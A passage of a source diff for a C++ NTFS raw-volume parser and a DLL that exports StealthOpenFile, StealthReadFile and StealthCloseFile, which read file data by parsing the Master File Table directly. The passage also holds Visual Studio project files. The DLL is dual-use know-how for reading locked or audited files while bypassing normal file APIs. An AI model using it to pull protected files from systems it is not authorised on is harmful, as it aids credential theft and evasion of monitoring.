CIndexEntry *ie = ib.FindFirstEntry();
while (ie)
{
if (ie->HasName())
{
// Compare name
int i = ie->Compare(fileName);
if (i == 0)
{
ieFound = *ie;
return TRUE;
}
else if (i < 0) // fileName is smaller than IndexEntry
{
// Visit SubNode
if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock), recursive call
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
else
return FALSE; // not found
}
// Just step forward if fileName is bigger than IndexEntry
}
else if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock), recursive call
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
ie = ib.FindNextEntry();
}
}
return FALSE;
}
// Traverse SubNode recursivly in ascending order
// Call user defined callback routine once found an subentry
void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const
{
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
if (ia == NULL)
return;
CIndexBlock ib;
if (ia->ParseIndexBlock(vcn, ib))
{
CIndexEntry *ie = ib.FindFirstEntry();
while (ie)
{
if (ie->IsSubNodePtr())
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call
if (ie->HasName())
seCallBack(ie);
ie = ib.FindNextEntry();
}
}
}
// Parse all the attributes in a File Record
// And insert them into a link list
BOOL CFileRecord::ParseAttrs()
{
_ASSERT(FileRecord);
// Clear previous data
ClearAttrs();
// Visit all attributes
DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds
ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr);
dataPtr += FileRecord->OffsetOfAttr;
while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize)
{
if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes
{
if (!ParseAttr(ahc)) // Parse error
return FALSE;
if (IsEncrypted() || IsCompressed())
{
NTFS_TRACE("Compressed and Encrypted file not supported yet !\n");
return FALSE;
}
}
dataPtr += ahc->TotalSize;
ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute
}
return TRUE;
}
// Install Attribute raw data CallBack routines for a single File Record
BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
{
DWORD atIdx = ATTR_INDEX(attrType);
if (atIdx < ATTR_NUMS)
{
AttrRawCallBack[atIdx] = cb;
return TRUE;
}
else
return FALSE;
}
// Clear all Attribute CallBack routines
__inline void CFileRecord::ClearAttrRawCB()
{
for (int i = 0; i < ATTR_NUMS; i ++)
AttrRawCallBack[i] = NULL;
}
// Choose attributes to handle, unwanted attributes will be discarded silently
__inline void CFileRecord::SetAttrMask(DWORD mask)
{
// Standard Information and Attribute List is needed always
AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST;
}
// Traverse all Attribute and return CAttr_xxx classes to User Callback routine
void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context)
{
_ASSERT(attrCallBack);
for (int i = 0; i < ATTR_NUMS; i ++)
{
if (AttrMask & (((DWORD)1)<<i)) // skip masked attributes
{
const CAttrBase *ab = AttrList[i].FindFirstEntry();
while (ab)
{
BOOL bStop;
bStop = FALSE;
attrCallBack(ab, context, &bStop);
if (bStop)
return;
ab = AttrList[i].FindNextEntry();
}
}
}
}
// Find Attributes
__inline const CAttrBase* CFileRecord::FindFirstAttr(DWORD attrType) const
{
DWORD attrIdx = ATTR_INDEX(attrType);
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindFirstEntry() : NULL;
}
const CAttrBase* CFileRecord::FindNextAttr(DWORD attrType) const
{
DWORD attrIdx = ATTR_INDEX(attrType);
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindNextEntry() : NULL;
}
// Get File Name (First Win32 name)
int CFileRecord::GetFileName(_TCHAR *buf, DWORD bufLen) const
{
// A file may have several filenames
// Return the first Win32 filename
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
while (fn)
{
if (fn->IsWin32Name())
{
int len = fn->GetFileName(buf, bufLen);
if (len != 0)
return len; // success or fail
}
fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry();
}
return 0;
}
// Get File Size
__inline ULONGLONG CFileRecord::GetFileSize() const
{
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
return fn ? fn->GetFileSize() : 0;
}
// Get File Times
void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const
{
// Standard Information attribute hold the most updated file time
CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
if (si)
si->GetFileTime(writeTm, createTm, accessTm);
else
{
writeTm->dwHighDateTime = 0;
writeTm->dwLowDateTime = 0;
if (createTm)
{
createTm->dwHighDateTime = 0;
createTm->dwLowDateTime = 0;
}
if (accessTm)
{
accessTm->dwHighDateTime = 0;
accessTm->dwLowDateTime = 0;
}
}
}
// Traverse all sub directories and files contained
// Call user defined callback routine once found an entry
void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const
{
_ASSERT(seCallBack);
// Start traversing from IndexRoot (B+ tree root node)
CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
if (ir == NULL || !ir->IsFileName())
return;
CIndexEntryList *ieList = (CIndexEntryList*)ir;
CIndexEntry *ie = ieList->FindFirstEntry();
while (ie)
{
// Visit subnode first
if (ie->IsSubNodePtr())
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack);
if (ie->HasName())
seCallBack(ie);
ie = ieList->FindNextEntry();
}
}
// Find a specific FileName from InexRoot described B+ tree
__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const
{
// Start searching from IndexRoot (B+ tree root node)
CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
if (ir == NULL || !ir->IsFileName())
return FALSE;
CIndexEntryList *ieList = (CIndexEntryList*)ir;
CIndexEntry *ie = ieList->FindFirstEntry();
while (ie)
{
if (ie->HasName())
{
// Compare name
int i = ie->Compare(fileName);
if (i == 0)
{
ieFound = *ie;
return TRUE;
}
else if (i < 0) // fileName is smaller than IndexEntry
{
// Visit SubNode
if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock)
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
else
return FALSE; // not found
}
// Just step forward if fileName is bigger than IndexEntry
}
else if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock)
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
ie = ieList->FindNextEntry();
}
return FALSE;
}
// Find Data attribute class of
const CAttrBase* CFileRecord::FindStream(_TCHAR *name)
{
const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA);
while (data)
{
if (data->IsUnNamed() && name == NULL) // Unnamed stream
break;
if ((!data->IsUnNamed()) && name) // Named stream
{
_TCHAR an[MAX_PATH];
if (data->GetAttrName(an, MAX_PATH))
{
if (_tcscmp(an, name) == 0)
break;
}
}
data = FindNextAttr(ATTR_TYPE_DATA);
}
return data;
}
// Check if it's deleted or in use
__inline BOOL CFileRecord::IsDeleted() const
{
return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE);
}
// Check if it's a directory
__inline BOOL CFileRecord::IsDirectory() const
{
return FileRecord->Flags & FILE_RECORD_FLAG_DIR;
}
__inline BOOL CFileRecord::IsReadOnly() const
{
// Standard Information attribute holds the most updated file time
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsReadOnly() : FALSE;
}
__inline BOOL CFileRecord::IsHidden() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsHidden() : FALSE;
}
__inline BOOL CFileRecord::IsSystem() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsSystem() : FALSE;
}
__inline BOOL CFileRecord::IsCompressed() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsCompressed() : FALSE;
}
__inline BOOL CFileRecord::IsEncrypted() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsEncrypted() : FALSE;
}
__inline BOOL CFileRecord::IsSparse() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsSparse() : FALSE;
}
///////////////////////////////////////
// NTFS Volume Implementation
///////////////////////////////////////
CNTFSVolume::CNTFSVolume(_TCHAR volume)
{
hVolume = INVALID_HANDLE_VALUE;
VolumeOK = FALSE;
MFTRecord = NULL;
MFTData = NULL;
Version = 0;
ClearAttrRawCB();
if (!OpenVolume(volume))
return;
// Verify NTFS volume version (must >= 3.0)
CFileRecord vol(this);
vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION);
if (!vol.ParseFileRecord(MFT_IDX_VOLUME))
return;
vol.ParseAttrs();
CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION);
if (!vi)
return;
Version = vi->GetVersion();
NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version));
if (Version < 0x0300) // NT4 ?
return;
#ifdef _DEBUG
CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME);
if (vn)
{
char volname[MAX_PATH];
if (vn->GetName(volname, MAX_PATH) > 0)
{
NTFS_TRACE1("NTFS volume name: %s\n", volname);
}
}
#endif
VolumeOK = TRUE;
MFTRecord = new CFileRecord(this);
MFTRecord->SetAttrMask(MASK_DATA);
if (MFTRecord->ParseFileRecord(MFT_IDX_MFT))
{
MFTRecord->ParseAttrs();
MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA);
if (MFTData == NULL)
{
delete MFTRecord;
MFTRecord = NULL;
}
}
}
CNTFSVolume::~CNTFSVolume()
{
if (hVolume != INVALID_HANDLE_VALUE)
CloseHandle(hVolume);
if (MFTRecord)
delete MFTRecord;
}
// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB
BOOL CNTFSVolume::OpenVolume(_TCHAR volume)
{
// Verify parameter
if (!_istalpha(volume))
{
NTFS_TRACE("Volume name error, should be like 'C', 'D'\n");
return FALSE;
}
_TCHAR volumePath[7];
_sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume);
volumePath[6] = _T('\0');
hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);
if (hVolume != INVALID_HANDLE_VALUE)
{
DWORD num;
NTFS_BPB bpb;
// Read the first sector (boot sector)
if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512)
{
if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0)
{
// Log important volume parameters
SectorSize = bpb.BytesPerSector;
NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize);
ClusterSize = SectorSize * bpb.SectorsPerCluster;
NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize);
int sz = (char)bpb.ClustersPerFileRecord;
if (sz > 0)
FileRecordSize = ClusterSize * sz;
else
FileRecordSize = 1 << (-sz);
NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize);
sz = (char)bpb.ClustersPerIndexBlock;
if (sz > 0)
IndexBlockSize = ClusterSize * sz;
else
IndexBlockSize = 1 << (-sz);
NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize);
MFTAddr = bpb.LCN_MFT * ClusterSize;
NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr);
}
else
{
NTFS_TRACE("Volume file system is not NTFS\n");
goto IOError;
}
}
else
{
NTFS_TRACE("Read boot sector error\n");
goto IOError;
}
}
else
{
NTFS_TRACE1("Cannnot open volume %c\n", (char)volume);
IOError:
if (hVolume != INVALID_HANDLE_VALUE)
{
CloseHandle(hVolume);
hVolume = INVALID_HANDLE_VALUE;
}
return FALSE;
}
return TRUE;
}
// Check if Volume is successfully opened
__inline BOOL CNTFSVolume::IsVolumeOK() const
{
return VolumeOK;
}
// Get NTFS volume version
__inline WORD CNTFSVolume::GetVersion() const
{
return Version;
}
// Get File Record count
__inline ULONGLONG CNTFSVolume::GetRecordsCount() const
{
return (MFTData->GetDataSize() / FileRecordSize);
}
// Get BPB information
__inline DWORD CNTFSVolume::GetSectorSize() const
{
return SectorSize;
}
__inline DWORD CNTFSVolume::GetClusterSize() const
{
return ClusterSize;
}
__inline DWORD CNTFSVolume::GetFileRecordSize() const
{
return FileRecordSize;
}
__inline DWORD CNTFSVolume::GetIndexBlockSize() const
{
return IndexBlockSize;
}
// Get MFT starting address
__inline ULONGLONG CNTFSVolume::GetMFTAddr() const
{
return MFTAddr;
}
// Install Attribute CallBack routines for the whole Volume
BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
{
DWORD atIdx = ATTR_INDEX(attrType);
if (atIdx < ATTR_NUMS)
{
AttrRawCallBack[atIdx] = cb;
return TRUE;
}
else
return FALSE;
}
// Clear all Attribute CallBack routines
__inline void CNTFSVolume::ClearAttrRawCB()
{
for (int i = 0; i < ATTR_NUMS; i ++)
AttrRawCallBack[i] = NULL;
}
#endif
@@ -0,0 +1,40 @@
========================================================================
CONSOLE APPLICATION : NTFSParser Project Overview
========================================================================
AppWizard has created this NTFSParser application for you.
This file contains a summary of what you will find in each of the files that
make up your NTFSParser application.
NTFSParser.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
NTFSParser.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
NTFSParser.cpp
This is the main application source file.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named NTFSParser.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
@@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// NTFSParser.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
@@ -0,0 +1,17 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
#include <iostream>
#include <string>
#include <fstream>
// TODO: reference additional headers your program requires here
@@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
@@ -0,0 +1,28 @@
/*
* NTFS include files
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_H_CYB70289
#define __NTFS_H_CYB70289
#pragma pack(8)
#include "NTFS_Common.h"
#include "NTFS_FileRecord.h"
#include "NTFS_Attribute.h"
#pragma pack()
#endif
@@ -0,0 +1,161 @@
/*
*
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
//
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
#include "stdafx.h"
#include "NTFS.h"
#include "NTFS_DataType.h"
using namespace std;
struct FileInfo_t
{
CNTFSVolume* volume;
CFileRecord* fileRecord;
CIndexEntry* indexEntry;
CAttrBase* data;
};
extern "C" HANDLE __declspec(dllexport) StealthOpenFile(char* filePathCStr)
{
FileInfo_t* fileInfo = new FileInfo_t;
string filePath = string(filePathCStr);
_TCHAR volumeName = filePath.at(0);
fileInfo->volume = new CNTFSVolume(volumeName);
if (!fileInfo->volume->IsVolumeOK())
{
return NULL;
}
//Parse root directory
fileInfo->fileRecord = new CFileRecord(fileInfo->volume);
fileInfo->fileRecord->SetAttrMask(MASK_INDEX_ROOT | MASK_INDEX_ALLOCATION);
if (!fileInfo->fileRecord->ParseFileRecord(MFT_IDX_ROOT))
{
return NULL;
}
if (!fileInfo->fileRecord->ParseAttrs())
{
return NULL;
}
//Find subdirectory
fileInfo->indexEntry = new CIndexEntry;
int dirs = filePath.find(_T('\\'), 0);
int dire = filePath.find(_T('\\'), dirs+1);
while (dire != string::npos)
{
string pathname = filePath.substr(dirs+1, dire-dirs-1);
const _TCHAR* pathnameCStr = (const _TCHAR*)pathname.c_str();
if (fileInfo->fileRecord->FindSubEntry(pathnameCStr, *(fileInfo->indexEntry)))
{
if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference()))
{
return NULL;
}
if (!fileInfo->fileRecord->ParseAttrs())
{
if (fileInfo->fileRecord->IsCompressed())
{
return NULL;
}
else if (fileInfo->fileRecord->IsEncrypted())
{
return NULL;
}
else
{
return NULL;
}
}
}
else
{
return NULL;
}
dirs = dire;
dire = filePath.find(_T('\\'), dirs+1);
}
string fileName = filePath.substr(dirs+1, filePath.size()-1);
const _TCHAR* fileNameCStr = (const _TCHAR*)fileName.c_str();
if (fileInfo->fileRecord->FindSubEntry(fileNameCStr, *(fileInfo->indexEntry)))
{
if (!fileInfo->fileRecord->ParseFileRecord(fileInfo->indexEntry->GetFileReference()))
{
return NULL;
}
fileInfo->fileRecord->SetAttrMask(MASK_DATA);
if (!fileInfo->fileRecord->ParseAttrs())
{
return NULL;
}
fileInfo->data = (CAttrBase*)fileInfo->fileRecord->FindStream();
return fileInfo;
}
return NULL;
}
extern "C" DWORD __declspec(dllexport) StealthReadFile(FileInfo_t* fileInfo, BYTE* buffer, DWORD bufferSize, ULONGLONG offset, DWORD* bytesRead, ULONGLONG* dataRemaining)
{
if (fileInfo->data)
{
ULONGLONG dataLength = (ULONGLONG)fileInfo->data->GetDataSize();
ULONGLONG fullDataLength = dataLength;
dataLength = dataLength - offset;
if (dataLength > bufferSize)
{
dataLength = bufferSize;
}
if (dataLength > MAXUINT32)
{
return 1;
}
DWORD len;
if (fileInfo->data->ReadData(offset, buffer, dataLength, &len) && len == dataLength)
{
*bytesRead = len;
*dataRemaining = fullDataLength - len - offset;
return 0; //Success
}
return 3;
}
return 2;
}
extern "C" void __declspec(dllexport) StealthCloseFile(FileInfo_t* fileInfo)
{
delete (fileInfo->data);
delete (fileInfo->indexEntry);
delete (fileInfo->volume);
delete fileInfo;
}
@@ -0,0 +1,172 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{5E42B778-F231-4797-B7FD-7D5BCA9738D0}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>NTFSParserDLL</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="NTFSParserDLL.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,39 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
